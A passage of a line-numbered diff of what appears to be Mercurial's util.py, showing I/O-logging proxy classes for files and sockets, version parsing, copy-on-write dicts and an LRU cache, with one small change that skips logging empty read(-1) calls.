483 483 def __setattr__(self, name, value):
484 484 return setattr(object.__getattribute__(self, r'_orig'), name, value)
485 485
486 486 def __iter__(self):
487 487 return object.__getattribute__(self, r'_orig').__iter__()
488 488
489 489 def _observedcall(self, name, *args, **kwargs):
490 490 # Call the original object.
491 491 orig = object.__getattribute__(self, r'_orig')
492 492 res = getattr(orig, name)(*args, **kwargs)
493 493
494 494 # Call a method on the observer of the same name with arguments
495 495 # so it can react, log, etc.
496 496 observer = object.__getattribute__(self, r'_observer')
497 497 fn = getattr(observer, name, None)
498 498 if fn:
499 499 fn(res, *args, **kwargs)
500 500
501 501 return res
502 502
503 503 def close(self, *args, **kwargs):
504 504 return object.__getattribute__(self, r'_observedcall')(
505 505 r'close', *args, **kwargs)
506 506
507 507 def fileno(self, *args, **kwargs):
508 508 return object.__getattribute__(self, r'_observedcall')(
509 509 r'fileno', *args, **kwargs)
510 510
511 511 def flush(self, *args, **kwargs):
512 512 return object.__getattribute__(self, r'_observedcall')(
513 513 r'flush', *args, **kwargs)
514 514
515 515 def isatty(self, *args, **kwargs):
516 516 return object.__getattribute__(self, r'_observedcall')(
517 517 r'isatty', *args, **kwargs)
518 518
519 519 def readable(self, *args, **kwargs):
520 520 return object.__getattribute__(self, r'_observedcall')(
521 521 r'readable', *args, **kwargs)
522 522
523 523 def readline(self, *args, **kwargs):
524 524 return object.__getattribute__(self, r'_observedcall')(
525 525 r'readline', *args, **kwargs)
526 526
527 527 def readlines(self, *args, **kwargs):
528 528 return object.__getattribute__(self, r'_observedcall')(
529 529 r'readlines', *args, **kwargs)
530 530
531 531 def seek(self, *args, **kwargs):
532 532 return object.__getattribute__(self, r'_observedcall')(
533 533 r'seek', *args, **kwargs)
534 534
535 535 def seekable(self, *args, **kwargs):
536 536 return object.__getattribute__(self, r'_observedcall')(
537 537 r'seekable', *args, **kwargs)
538 538
539 539 def tell(self, *args, **kwargs):
540 540 return object.__getattribute__(self, r'_observedcall')(
541 541 r'tell', *args, **kwargs)
542 542
543 543 def truncate(self, *args, **kwargs):
544 544 return object.__getattribute__(self, r'_observedcall')(
545 545 r'truncate', *args, **kwargs)
546 546
547 547 def writable(self, *args, **kwargs):
548 548 return object.__getattribute__(self, r'_observedcall')(
549 549 r'writable', *args, **kwargs)
550 550
551 551 def writelines(self, *args, **kwargs):
552 552 return object.__getattribute__(self, r'_observedcall')(
553 553 r'writelines', *args, **kwargs)
554 554
555 555 def read(self, *args, **kwargs):
556 556 return object.__getattribute__(self, r'_observedcall')(
557 557 r'read', *args, **kwargs)
558 558
559 559 def readall(self, *args, **kwargs):
560 560 return object.__getattribute__(self, r'_observedcall')(
561 561 r'readall', *args, **kwargs)
562 562
563 563 def readinto(self, *args, **kwargs):
564 564 return object.__getattribute__(self, r'_observedcall')(
565 565 r'readinto', *args, **kwargs)
566 566
567 567 def write(self, *args, **kwargs):
568 568 return object.__getattribute__(self, r'_observedcall')(
569 569 r'write', *args, **kwargs)
570 570
571 571 def detach(self, *args, **kwargs):
572 572 return object.__getattribute__(self, r'_observedcall')(
573 573 r'detach', *args, **kwargs)
574 574
575 575 def read1(self, *args, **kwargs):
576 576 return object.__getattribute__(self, r'_observedcall')(
577 577 r'read1', *args, **kwargs)
578 578
579 579 class observedbufferedinputpipe(bufferedinputpipe):
580 580 """A variation of bufferedinputpipe that is aware of fileobjectproxy.
581 581
582 582 ``bufferedinputpipe`` makes low-level calls to ``os.read()`` that
583 583 bypass ``fileobjectproxy``. Because of this, we need to make
584 584 ``bufferedinputpipe`` aware of these operations.
585 585
586 586 This variation of ``bufferedinputpipe`` can notify observers about
587 587 ``os.read()`` events. It also re-publishes other events, such as
588 588 ``read()`` and ``readline()``.
589 589 """
590 590 def _fillbuffer(self):
591 591 res = super(observedbufferedinputpipe, self)._fillbuffer()
592 592
593 593 fn = getattr(self._input._observer, r'osread', None)
594 594 if fn:
595 595 fn(res, _chunksize)
596 596
597 597 return res
598 598
599 599 # We use different observer methods because the operation isn't
600 600 # performed on the actual file object but on us.
601 601 def read(self, size):
602 602 res = super(observedbufferedinputpipe, self).read(size)
603 603
604 604 fn = getattr(self._input._observer, r'bufferedread', None)
605 605 if fn:
606 606 fn(res, size)
607 607
608 608 return res
609 609
610 610 def readline(self, *args, **kwargs):
611 611 res = super(observedbufferedinputpipe, self).readline(*args, **kwargs)
612 612
613 613 fn = getattr(self._input._observer, r'bufferedreadline', None)
614 614 if fn:
615 615 fn(res)
616 616
617 617 return res
618 618
619 619 PROXIED_SOCKET_METHODS = {
620 620 r'makefile',
621 621 r'recv',
622 622 r'recvfrom',
623 623 r'recvfrom_into',
624 624 r'recv_into',
625 625 r'send',
626 626 r'sendall',
627 627 r'sendto',
628 628 r'setblocking',
629 629 r'settimeout',
630 630 r'gettimeout',
631 631 r'setsockopt',
632 632 }
633 633
634 634 class socketproxy(object):
635 635 """A proxy around a socket that tells a watcher when events occur.
636 636
637 637 This is like ``fileobjectproxy`` except for sockets.
638 638
639 639 This type is intended to only be used for testing purposes. Think hard
640 640 before using it in important code.
641 641 """
642 642 __slots__ = (
643 643 r'_orig',
644 644 r'_observer',
645 645 )
646 646
647 647 def __init__(self, sock, observer):
648 648 object.__setattr__(self, r'_orig', sock)
649 649 object.__setattr__(self, r'_observer', observer)
650 650
651 651 def __getattribute__(self, name):
652 652 if name in PROXIED_SOCKET_METHODS:
653 653 return object.__getattribute__(self, name)
654 654
655 655 return getattr(object.__getattribute__(self, r'_orig'), name)
656 656
657 657 def __delattr__(self, name):
658 658 return delattr(object.__getattribute__(self, r'_orig'), name)
659 659
660 660 def __setattr__(self, name, value):
661 661 return setattr(object.__getattribute__(self, r'_orig'), name, value)
662 662
663 663 def __nonzero__(self):
664 664 return bool(object.__getattribute__(self, r'_orig'))
665 665
666 666 __bool__ = __nonzero__
667 667
668 668 def _observedcall(self, name, *args, **kwargs):
669 669 # Call the original object.
670 670 orig = object.__getattribute__(self, r'_orig')
671 671 res = getattr(orig, name)(*args, **kwargs)
672 672
673 673 # Call a method on the observer of the same name with arguments
674 674 # so it can react, log, etc.
675 675 observer = object.__getattribute__(self, r'_observer')
676 676 fn = getattr(observer, name, None)
677 677 if fn:
678 678 fn(res, *args, **kwargs)
679 679
680 680 return res
681 681
682 682 def makefile(self, *args, **kwargs):
683 683 res = object.__getattribute__(self, r'_observedcall')(
684 684 r'makefile', *args, **kwargs)
685 685
686 686 # The file object may be used for I/O. So we turn it into a
687 687 # proxy using our observer.
688 688 observer = object.__getattribute__(self, r'_observer')
689 689 return makeloggingfileobject(observer.fh, res, observer.name,
690 690 reads=observer.reads,
691 691 writes=observer.writes,
692 692 logdata=observer.logdata,
693 693 logdataapis=observer.logdataapis)
694 694
695 695 def recv(self, *args, **kwargs):
696 696 return object.__getattribute__(self, r'_observedcall')(
697 697 r'recv', *args, **kwargs)
698 698
699 699 def recvfrom(self, *args, **kwargs):
700 700 return object.__getattribute__(self, r'_observedcall')(
701 701 r'recvfrom', *args, **kwargs)
702 702
703 703 def recvfrom_into(self, *args, **kwargs):
704 704 return object.__getattribute__(self, r'_observedcall')(
705 705 r'recvfrom_into', *args, **kwargs)
706 706
707 707 def recv_into(self, *args, **kwargs):
708 708 return object.__getattribute__(self, r'_observedcall')(
709 709 r'recv_info', *args, **kwargs)
710 710
711 711 def send(self, *args, **kwargs):
712 712 return object.__getattribute__(self, r'_observedcall')(
713 713 r'send', *args, **kwargs)
714 714
715 715 def sendall(self, *args, **kwargs):
716 716 return object.__getattribute__(self, r'_observedcall')(
717 717 r'sendall', *args, **kwargs)
718 718
719 719 def sendto(self, *args, **kwargs):
720 720 return object.__getattribute__(self, r'_observedcall')(
721 721 r'sendto', *args, **kwargs)
722 722
723 723 def setblocking(self, *args, **kwargs):
724 724 return object.__getattribute__(self, r'_observedcall')(
725 725 r'setblocking', *args, **kwargs)
726 726
727 727 def settimeout(self, *args, **kwargs):
728 728 return object.__getattribute__(self, r'_observedcall')(
729 729 r'settimeout', *args, **kwargs)
730 730
731 731 def gettimeout(self, *args, **kwargs):
732 732 return object.__getattribute__(self, r'_observedcall')(
733 733 r'gettimeout', *args, **kwargs)
734 734
735 735 def setsockopt(self, *args, **kwargs):
736 736 return object.__getattribute__(self, r'_observedcall')(
737 737 r'setsockopt', *args, **kwargs)
738 738
739 739 class baseproxyobserver(object):
740 740 def _writedata(self, data):
741 741 if not self.logdata:
742 742 if self.logdataapis:
743 743 self.fh.write('\n')
744 744 self.fh.flush()
745 745 return
746 746
747 747 # Simple case writes all data on a single line.
748 748 if b'\n' not in data:
749 749 if self.logdataapis:
750 750 self.fh.write(': %s\n' % stringutil.escapestr(data))
751 751 else:
752 752 self.fh.write('%s> %s\n'
753 753 % (self.name, stringutil.escapestr(data)))
754 754 self.fh.flush()
755 755 return
756 756
757 757 # Data with newlines is written to multiple lines.
758 758 if self.logdataapis:
759 759 self.fh.write(':\n')
760 760
761 761 lines = data.splitlines(True)
762 762 for line in lines:
763 763 self.fh.write('%s> %s\n'
764 764 % (self.name, stringutil.escapestr(line)))
765 765 self.fh.flush()
766 766
767 767 class fileobjectobserver(baseproxyobserver):
768 768 """Logs file object activity."""
769 769 def __init__(self, fh, name, reads=True, writes=True, logdata=False,
770 770 logdataapis=True):
771 771 self.fh = fh
772 772 self.name = name
773 773 self.logdata = logdata
774 774 self.logdataapis = logdataapis
775 775 self.reads = reads
776 776 self.writes = writes
777 777
778 778 def read(self, res, size=-1):
779 779 if not self.reads:
780 780 return
781 781 # Python 3 can return None from reads at EOF instead of empty strings.
782 782 if res is None:
783 783 res = ''
784 784
785 if size == -1 and res == '':
786 # Suppress pointless read(-1) calls that return
787 # nothing. These happen _a lot_ on Python 3, and there
788 # doesn't seem to be a better workaround to have matching
789 # Python 2 and 3 behavior. :(
790 return
791
785 792 if self.logdataapis:
786 793 self.fh.write('%s> read(%d) -> %d' % (self.name, size, len(res)))
787 794
788 795 self._writedata(res)
789 796
790 797 def readline(self, res, limit=-1):
791 798 if not self.reads:
792 799 return
793 800
794 801 if self.logdataapis:
795 802 self.fh.write('%s> readline() -> %d' % (self.name, len(res)))
796 803
797 804 self._writedata(res)
798 805
799 806 def readinto(self, res, dest):
800 807 if not self.reads:
801 808 return
802 809
803 810 if self.logdataapis:
804 811 self.fh.write('%s> readinto(%d) -> %r' % (self.name, len(dest),
805 812 res))
806 813
807 814 data = dest[0:res] if res is not None else b''
808 815 self._writedata(data)
809 816
810 817 def write(self, res, data):
811 818 if not self.writes:
812 819 return
813 820
814 821 # Python 2 returns None from some write() calls. Python 3 (reasonably)
815 822 # returns the integer bytes written.
816 823 if res is None and data:
817 824 res = len(data)
818 825
819 826 if self.logdataapis:
820 827 self.fh.write('%s> write(%d) -> %r' % (self.name, len(data), res))
821 828
822 829 self._writedata(data)
823 830
824 831 def flush(self, res):
825 832 if not self.writes:
826 833 return
827 834
828 835 self.fh.write('%s> flush() -> %r\n' % (self.name, res))
829 836
830 837 # For observedbufferedinputpipe.
831 838 def bufferedread(self, res, size):
832 839 if not self.reads:
833 840 return
834 841
835 842 if self.logdataapis:
836 843 self.fh.write('%s> bufferedread(%d) -> %d' % (
837 844 self.name, size, len(res)))
838 845
839 846 self._writedata(res)
840 847
841 848 def bufferedreadline(self, res):
842 849 if not self.reads:
843 850 return
844 851
845 852 if self.logdataapis:
846 853 self.fh.write('%s> bufferedreadline() -> %d' % (
847 854 self.name, len(res)))
848 855
849 856 self._writedata(res)
850 857
851 858 def makeloggingfileobject(logh, fh, name, reads=True, writes=True,
852 859 logdata=False, logdataapis=True):
853 860 """Turn a file object into a logging file object."""
854 861
855 862 observer = fileobjectobserver(logh, name, reads=reads, writes=writes,
856 863 logdata=logdata, logdataapis=logdataapis)
857 864 return fileobjectproxy(fh, observer)
858 865
859 866 class socketobserver(baseproxyobserver):
860 867 """Logs socket activity."""
861 868 def __init__(self, fh, name, reads=True, writes=True, states=True,
862 869 logdata=False, logdataapis=True):
863 870 self.fh = fh
864 871 self.name = name
865 872 self.reads = reads
866 873 self.writes = writes
867 874 self.states = states
868 875 self.logdata = logdata
869 876 self.logdataapis = logdataapis
870 877
871 878 def makefile(self, res, mode=None, bufsize=None):
872 879 if not self.states:
873 880 return
874 881
875 882 self.fh.write('%s> makefile(%r, %r)\n' % (
876 883 self.name, mode, bufsize))
877 884
878 885 def recv(self, res, size, flags=0):
879 886 if not self.reads:
880 887 return
881 888
882 889 if self.logdataapis:
883 890 self.fh.write('%s> recv(%d, %d) -> %d' % (
884 891 self.name, size, flags, len(res)))
885 892 self._writedata(res)
886 893
887 894 def recvfrom(self, res, size, flags=0):
888 895 if not self.reads:
889 896 return
890 897
891 898 if self.logdataapis:
892 899 self.fh.write('%s> recvfrom(%d, %d) -> %d' % (
893 900 self.name, size, flags, len(res[0])))
894 901
895 902 self._writedata(res[0])
896 903
897 904 def recvfrom_into(self, res, buf, size, flags=0):
898 905 if not self.reads:
899 906 return
900 907
901 908 if self.logdataapis:
902 909 self.fh.write('%s> recvfrom_into(%d, %d) -> %d' % (
903 910 self.name, size, flags, res[0]))
904 911
905 912 self._writedata(buf[0:res[0]])
906 913
907 914 def recv_into(self, res, buf, size=0, flags=0):
908 915 if not self.reads:
909 916 return
910 917
911 918 if self.logdataapis:
912 919 self.fh.write('%s> recv_into(%d, %d) -> %d' % (
913 920 self.name, size, flags, res))
914 921
915 922 self._writedata(buf[0:res])
916 923
917 924 def send(self, res, data, flags=0):
918 925 if not self.writes:
919 926 return
920 927
921 928 self.fh.write('%s> send(%d, %d) -> %d' % (
922 929 self.name, len(data), flags, len(res)))
923 930 self._writedata(data)
924 931
925 932 def sendall(self, res, data, flags=0):
926 933 if not self.writes:
927 934 return
928 935
929 936 if self.logdataapis:
930 937 # Returns None on success. So don't bother reporting return value.
931 938 self.fh.write('%s> sendall(%d, %d)' % (
932 939 self.name, len(data), flags))
933 940
934 941 self._writedata(data)
935 942
936 943 def sendto(self, res, data, flagsoraddress, address=None):
937 944 if not self.writes:
938 945 return
939 946
940 947 if address:
941 948 flags = flagsoraddress
942 949 else:
943 950 flags = 0
944 951
945 952 if self.logdataapis:
946 953 self.fh.write('%s> sendto(%d, %d, %r) -> %d' % (
947 954 self.name, len(data), flags, address, res))
948 955
949 956 self._writedata(data)
950 957
951 958 def setblocking(self, res, flag):
952 959 if not self.states:
953 960 return
954 961
955 962 self.fh.write('%s> setblocking(%r)\n' % (self.name, flag))
956 963
957 964 def settimeout(self, res, value):
958 965 if not self.states:
959 966 return
960 967
961 968 self.fh.write('%s> settimeout(%r)\n' % (self.name, value))
962 969
963 970 def gettimeout(self, res):
964 971 if not self.states:
965 972 return
966 973
967 974 self.fh.write('%s> gettimeout() -> %f\n' % (self.name, res))
968 975
969 976 def setsockopt(self, level, optname, value):
970 977 if not self.states:
971 978 return
972 979
973 980 self.fh.write('%s> setsockopt(%r, %r, %r) -> %r\n' % (
974 981 self.name, level, optname, value))
975 982
976 983 def makeloggingsocket(logh, fh, name, reads=True, writes=True, states=True,
977 984 logdata=False, logdataapis=True):
978 985 """Turn a socket into a logging socket."""
979 986
980 987 observer = socketobserver(logh, name, reads=reads, writes=writes,
981 988 states=states, logdata=logdata,
982 989 logdataapis=logdataapis)
983 990 return socketproxy(fh, observer)
984 991
985 992 def version():
986 993 """Return version information if available."""
987 994 try:
988 995 from . import __version__
989 996 return __version__.version
990 997 except ImportError:
991 998 return 'unknown'
992 999
993 1000 def versiontuple(v=None, n=4):
994 1001 """Parses a Mercurial version string into an N-tuple.
995 1002
996 1003 The version string to be parsed is specified with the ``v`` argument.
997 1004 If it isn't defined, the current Mercurial version string will be parsed.
998 1005
999 1006 ``n`` can be 2, 3, or 4. Here is how some version strings map to
1000 1007 returned values:
1001 1008
1002 1009 >>> v = b'3.6.1+190-df9b73d2d444'
1003 1010 >>> versiontuple(v, 2)
1004 1011 (3, 6)
1005 1012 >>> versiontuple(v, 3)
1006 1013 (3, 6, 1)
1007 1014 >>> versiontuple(v, 4)
1008 1015 (3, 6, 1, '190-df9b73d2d444')
1009 1016
1010 1017 >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118')
1011 1018 (3, 6, 1, '190-df9b73d2d444+20151118')
1012 1019
1013 1020 >>> v = b'3.6'
1014 1021 >>> versiontuple(v, 2)
1015 1022 (3, 6)
1016 1023 >>> versiontuple(v, 3)
1017 1024 (3, 6, None)
1018 1025 >>> versiontuple(v, 4)
1019 1026 (3, 6, None, None)
1020 1027
1021 1028 >>> v = b'3.9-rc'
1022 1029 >>> versiontuple(v, 2)
1023 1030 (3, 9)
1024 1031 >>> versiontuple(v, 3)
1025 1032 (3, 9, None)
1026 1033 >>> versiontuple(v, 4)
1027 1034 (3, 9, None, 'rc')
1028 1035
1029 1036 >>> v = b'3.9-rc+2-02a8fea4289b'
1030 1037 >>> versiontuple(v, 2)
1031 1038 (3, 9)
1032 1039 >>> versiontuple(v, 3)
1033 1040 (3, 9, None)
1034 1041 >>> versiontuple(v, 4)
1035 1042 (3, 9, None, 'rc+2-02a8fea4289b')
1036 1043
1037 1044 >>> versiontuple(b'4.6rc0')
1038 1045 (4, 6, None, 'rc0')
1039 1046 >>> versiontuple(b'4.6rc0+12-425d55e54f98')
1040 1047 (4, 6, None, 'rc0+12-425d55e54f98')
1041 1048 >>> versiontuple(b'.1.2.3')
1042 1049 (None, None, None, '.1.2.3')
1043 1050 >>> versiontuple(b'12.34..5')
1044 1051 (12, 34, None, '..5')
1045 1052 >>> versiontuple(b'1.2.3.4.5.6')
1046 1053 (1, 2, 3, '.4.5.6')
1047 1054 """
1048 1055 if not v:
1049 1056 v = version()
1050 1057 m = remod.match(br'(\d+(?:\.\d+){,2})[\+-]?(.*)', v)
1051 1058 if not m:
1052 1059 vparts, extra = '', v
1053 1060 elif m.group(2):
1054 1061 vparts, extra = m.groups()
1055 1062 else:
1056 1063 vparts, extra = m.group(1), None
1057 1064
1058 1065 vints = []
1059 1066 for i in vparts.split('.'):
1060 1067 try:
1061 1068 vints.append(int(i))
1062 1069 except ValueError:
1063 1070 break
1064 1071 # (3, 6) -> (3, 6, None)
1065 1072 while len(vints) < 3:
1066 1073 vints.append(None)
1067 1074
1068 1075 if n == 2:
1069 1076 return (vints[0], vints[1])
1070 1077 if n == 3:
1071 1078 return (vints[0], vints[1], vints[2])
1072 1079 if n == 4:
1073 1080 return (vints[0], vints[1], vints[2], extra)
1074 1081
1075 1082 def cachefunc(func):
1076 1083 '''cache the result of function calls'''
1077 1084 # XXX doesn't handle keywords args
1078 1085 if func.__code__.co_argcount == 0:
1079 1086 cache = []
1080 1087 def f():
1081 1088 if len(cache) == 0:
1082 1089 cache.append(func())
1083 1090 return cache[0]
1084 1091 return f
1085 1092 cache = {}
1086 1093 if func.__code__.co_argcount == 1:
1087 1094 # we gain a small amount of time because
1088 1095 # we don't need to pack/unpack the list
1089 1096 def f(arg):
1090 1097 if arg not in cache:
1091 1098 cache[arg] = func(arg)
1092 1099 return cache[arg]
1093 1100 else:
1094 1101 def f(*args):
1095 1102 if args not in cache:
1096 1103 cache[args] = func(*args)
1097 1104 return cache[args]
1098 1105
1099 1106 return f
1100 1107
1101 1108 class cow(object):
1102 1109 """helper class to make copy-on-write easier
1103 1110
1104 1111 Call preparewrite before doing any writes.
1105 1112 """
1106 1113
1107 1114 def preparewrite(self):
1108 1115 """call this before writes, return self or a copied new object"""
1109 1116 if getattr(self, '_copied', 0):
1110 1117 self._copied -= 1
1111 1118 return self.__class__(self)
1112 1119 return self
1113 1120
1114 1121 def copy(self):
1115 1122 """always do a cheap copy"""
1116 1123 self._copied = getattr(self, '_copied', 0) + 1
1117 1124 return self
1118 1125
1119 1126 class sortdict(collections.OrderedDict):
1120 1127 '''a simple sorted dictionary
1121 1128
1122 1129 >>> d1 = sortdict([(b'a', 0), (b'b', 1)])
1123 1130 >>> d2 = d1.copy()
1124 1131 >>> d2
1125 1132 sortdict([('a', 0), ('b', 1)])
1126 1133 >>> d2.update([(b'a', 2)])
1127 1134 >>> list(d2.keys()) # should still be in last-set order
1128 1135 ['b', 'a']
1129 1136 '''
1130 1137
1131 1138 def __setitem__(self, key, value):
1132 1139 if key in self:
1133 1140 del self[key]
1134 1141 super(sortdict, self).__setitem__(key, value)
1135 1142
1136 1143 if pycompat.ispypy:
1137 1144 # __setitem__() isn't called as of PyPy 5.8.0
1138 1145 def update(self, src):
1139 1146 if isinstance(src, dict):
1140 1147 src = src.iteritems()
1141 1148 for k, v in src:
1142 1149 self[k] = v
1143 1150
1144 1151 class cowdict(cow, dict):
1145 1152 """copy-on-write dict
1146 1153
1147 1154 Be sure to call d = d.preparewrite() before writing to d.
1148 1155
1149 1156 >>> a = cowdict()
1150 1157 >>> a is a.preparewrite()
1151 1158 True
1152 1159 >>> b = a.copy()
1153 1160 >>> b is a
1154 1161 True
1155 1162 >>> c = b.copy()
1156 1163 >>> c is a
1157 1164 True
1158 1165 >>> a = a.preparewrite()
1159 1166 >>> b is a
1160 1167 False
1161 1168 >>> a is a.preparewrite()
1162 1169 True
1163 1170 >>> c = c.preparewrite()
1164 1171 >>> b is c
1165 1172 False
1166 1173 >>> b is b.preparewrite()
1167 1174 True
1168 1175 """
1169 1176
1170 1177 class cowsortdict(cow, sortdict):
1171 1178 """copy-on-write sortdict
1172 1179
1173 1180 Be sure to call d = d.preparewrite() before writing to d.
1174 1181 """
1175 1182
1176 1183 class transactional(object):
1177 1184 """Base class for making a transactional type into a context manager."""
1178 1185 __metaclass__ = abc.ABCMeta
1179 1186
1180 1187 @abc.abstractmethod
1181 1188 def close(self):
1182 1189 """Successfully closes the transaction."""
1183 1190
1184 1191 @abc.abstractmethod
1185 1192 def release(self):
1186 1193 """Marks the end of the transaction.
1187 1194
1188 1195 If the transaction has not been closed, it will be aborted.
1189 1196 """
1190 1197
1191 1198 def __enter__(self):
1192 1199 return self
1193 1200
1194 1201 def __exit__(self, exc_type, exc_val, exc_tb):
1195 1202 try:
1196 1203 if exc_type is None:
1197 1204 self.close()
1198 1205 finally:
1199 1206 self.release()
1200 1207
1201 1208 @contextlib.contextmanager
1202 1209 def acceptintervention(tr=None):
1203 1210 """A context manager that closes the transaction on InterventionRequired
1204 1211
1205 1212 If no transaction was provided, this simply runs the body and returns
1206 1213 """
1207 1214 if not tr:
1208 1215 yield
1209 1216 return
1210 1217 try:
1211 1218 yield
1212 1219 tr.close()
1213 1220 except error.InterventionRequired:
1214 1221 tr.close()
1215 1222 raise
1216 1223 finally:
1217 1224 tr.release()
1218 1225
1219 1226 @contextlib.contextmanager
1220 1227 def nullcontextmanager():
1221 1228 yield
1222 1229
1223 1230 class _lrucachenode(object):
1224 1231 """A node in a doubly linked list.
1225 1232
1226 1233 Holds a reference to nodes on either side as well as a key-value
1227 1234 pair for the dictionary entry.
1228 1235 """
1229 1236 __slots__ = (u'next', u'prev', u'key', u'value')
1230 1237
1231 1238 def __init__(self):
1232 1239 self.next = None
1233 1240 self.prev = None
1234 1241
1235 1242 self.key = _notset
1236 1243 self.value = None
1237 1244
1238 1245 def markempty(self):
1239 1246 """Mark the node as emptied."""
1240 1247 self.key = _notset
1241 1248
1242 1249 class lrucachedict(object):
1243 1250 """Dict that caches most recent accesses and sets.
1244 1251
1245 1252 The dict consists of an actual backing dict - indexed by original
1246 1253 key - and a doubly linked circular list defining the order of entries in
1247 1254 the cache.
1248 1255
1249 1256 The head node is the newest entry in the cache. If the cache is full,
1250 1257 we recycle head.prev and make it the new head. Cache accesses result in
1251 1258 the node being moved to before the existing head and being marked as the
1252 1259 new head node.
1253 1260 """
1254 1261 def __init__(self, max):
1255 1262 self._cache = {}
1256 1263
1257 1264 self._head = head = _lrucachenode()
1258 1265 head.prev = head
1259 1266 head.next = head
1260 1267 self._size = 1
1261 1268 self._capacity = max
1262 1269
1263 1270 def __len__(self):
1264 1271 return len(self._cache)
1265 1272
1266 1273 def __contains__(self, k):
1267 1274 return k in self._cache
1268 1275
1269 1276 def __iter__(self):
1270 1277 # We don't have to iterate in cache order, but why not.
1271 1278 n = self._head
1272 1279 for i in range(len(self._cache)):
1273 1280 yield n.key
1274 1281 n = n.next
1275 1282
1276 1283 def __getitem__(self, k):
1277 1284 node = self._cache[k]
1278 1285 self._movetohead(node)
1279 1286 return node.value
1280 1287
1281 1288 def __setitem__(self, k, v):
1282 1289 node = self._cache.get(k)
1283 1290 # Replace existing value and mark as newest.
1284 1291 if node is not None:
1285 1292 node.value = v
1286 1293 self._movetohead(node)
1287 1294 return
1288 1295
1289 1296 if self._size < self._capacity:
1290 1297 node = self._addcapacity()
1291 1298 else:
1292 1299 # Grab the last/oldest item.
1293 1300 node = self._head.prev
1294 1301
1295 1302 # At capacity. Kill the old entry.
1296 1303 if node.key is not _notset:
1297 1304 del self._cache[node.key]
1298 1305
1299 1306 node.key = k
1300 1307 node.value = v
1301 1308 self._cache[k] = node
1302 1309 # And mark it as newest entry. No need to adjust order since it
1303 1310 # is already self._head.prev.
1304 1311 self._head = node
1305 1312
1306 1313 def __delitem__(self, k):
1307 1314 node = self._cache.pop(k)
1308 1315 node.markempty()
1309 1316
1310 1317 # Temporarily mark as newest item before re-adjusting head to make
1311 1318 # this node the oldest item.
1312 1319 self._movetohead(node)
1313 1320 self._head = node.next
1314 1321
1315 1322 # Additional dict methods.
1316 1323
1317 1324 def get(self, k, default=None):
1318 1325 try:
1319 1326 return self._cache[k].value
1320 1327 except KeyError:
1321 1328 return default
1322 1329
1323 1330 def clear(self):
1324 1331 n = self._head
1325 1332 while n.key is not _notset:
1326 1333 n.markempty()
1327 1334 n = n.next
1328 1335
1329 1336 self._cache.clear()
1330 1337
1331 1338 def copy(self):
1332 1339 result = lrucachedict(self._capacity)
1333 1340 n = self._head.prev
1334 1341 # Iterate in oldest-to-newest order, so the copy has the right ordering
1335 1342 for i in range(len(self._cache)):
1336 1343 result[n.key] = n.value
1337 1344 n = n.prev
1338 1345 return result
1339 1346
1340 1347 def _movetohead(self, node):
1341 1348 """Mark a node as the newest, making it the new head.
1342 1349
1343 1350 When a node is accessed, it becomes the freshest entry in the LRU
1344 1351 list, which is denoted by self._head.
1345 1352
1346 1353 Visually, let's make ``N`` the new head node (* denotes head):
1347 1354
1348 1355 previous/oldest <-> head <-> next/next newest
1349 1356
1350 1357 ----<->--- A* ---<->-----
1351 1358 | |
1352 1359 E <-> D <-> N <-> C <-> B
1353 1360
1354 1361 To:
1355 1362
1356 1363 ----<->--- N* ---<->-----
1357 1364 | |
1358 1365 E <-> D <-> C <-> B <-> A
1359 1366
1360 1367 This requires the following moves:
1361 1368
1362 1369 C.next = D (node.prev.next = node.next)
1363 1370 D.prev = C (node.next.prev = node.prev)
1364 1371 E.next = N (head.prev.next = node)
1365 1372 N.prev = E (node.prev = head.prev)
1366 1373 N.next = A (node.next = head)
1367 1374 A.prev = N (head.prev = node)
1368 1375 """
1369 1376 head = self._head
1370 1377 # C.next = D
1371 1378 node.prev.next = node.next
1372 1379 # D.prev = C
1373 1380 node.next.prev = node.prev
1374 1381 # N.prev = E
1375 1382 node.prev = head.prev
1376 1383 # N.next = A
1377 1384 # It is tempting to do just "head" here, however if node is
1378 1385 # adjacent to head, this will do bad things.
1379 1386 node.next = head.prev.next
1380 1387 # E.next = N
1381 1388 node.next.prev = node
1382 1389 # A.prev = N
1383 1390 node.prev.next = node
1384 1391
1385 1392 self._head = node
1386 1393
1387 1394 def _addcapacity(self):
1388 1395 """Add a node to the circular linked list.
1389 1396
1390 1397 The new node is inserted before the head node.
1391 1398 """
1392 1399 head = self._head
1393 1400 node = _lrucachenode()
1394 1401 head.prev.next = node
1395 1402 node.prev = head.prev
1396 1403 node.next = head
1397 1404 head.prev = node
1398 1405 self._size += 1
1399 1406 return node
1400 1407
1401 1408 def lrucachefunc(func):
1402 1409 '''cache most recent results of function calls'''
1403 1410 cache = {}
1404 1411 order = collections.deque()
1405 1412 if func.__code__.co_argcount == 1:
1406 1413 def f(arg):
1407 1414 if arg not in cache:
1408 1415 if len(cache) > 20:
1409 1416 del cache[order.popleft()]
1410 1417 cache[arg] = func(arg)
1411 1418 else:
1412 1419 order.remove(arg)
1413 1420 order.append(arg)
1414 1421 return cache[arg]
1415 1422 else:
1416 1423 def f(*args):
1417 1424 if args not in cache:
1418 1425 if len(cache) > 20:
1419 1426 del cache[order.popleft()]
1420 1427 cache[args] = func(*args)
1421 1428 else:
1422 1429 order.remove(args)
1423 1430 order.append(args)
1424 1431 return cache[args]
1425 1432
1426 1433 return f
1427 1434
1428 1435 class propertycache(object):
1429 1436 def __init__(self, func):
1430 1437 self.func = func
1431 1438 self.name = func.__name__
1432 1439 def __get__(self, obj, type=None):
1433 1440 result = self.func(obj)
1434 1441 self.cachevalue(obj, result)
1435 1442 return result
1436 1443
1437 1444 def cachevalue(self, obj, value):
1438 1445 # __dict__ assignment required to bypass __setattr__ (eg: repoview)
1439 1446 obj.__dict__[self.name] = value
1440 1447
1441 1448 def clearcachedproperty(obj, prop):
1442 1449 '''clear a cached property value, if one has been set'''
1443 1450 if prop in obj.__dict__:
1444 1451 del obj.__dict__[prop]
1445 1452
1446 1453 def increasingchunks(source, min=1024, max=65536):
1447 1454 '''return no less than min bytes per chunk while data remains,
1448 1455 doubling min after each chunk until it reaches max'''
1449 1456 def log2(x):
1450 1457 if not x:
1451 1458 return 0
1452 1459 i = 0
1453 1460 while x:
1454 1461 x >>= 1
1455 1462 i += 1
1456 1463 return i - 1
1457 1464
1458 1465 buf = []
1459 1466 blen = 0
1460 1467 for chunk in source:
1461 1468 buf.append(chunk)
1462 1469 blen += len(chunk)
1463 1470 if blen >= min:
1464 1471 if min < max:
1465 1472 min = min << 1
1466 1473 nmin = 1 << log2(blen)
1467 1474 if nmin > min:
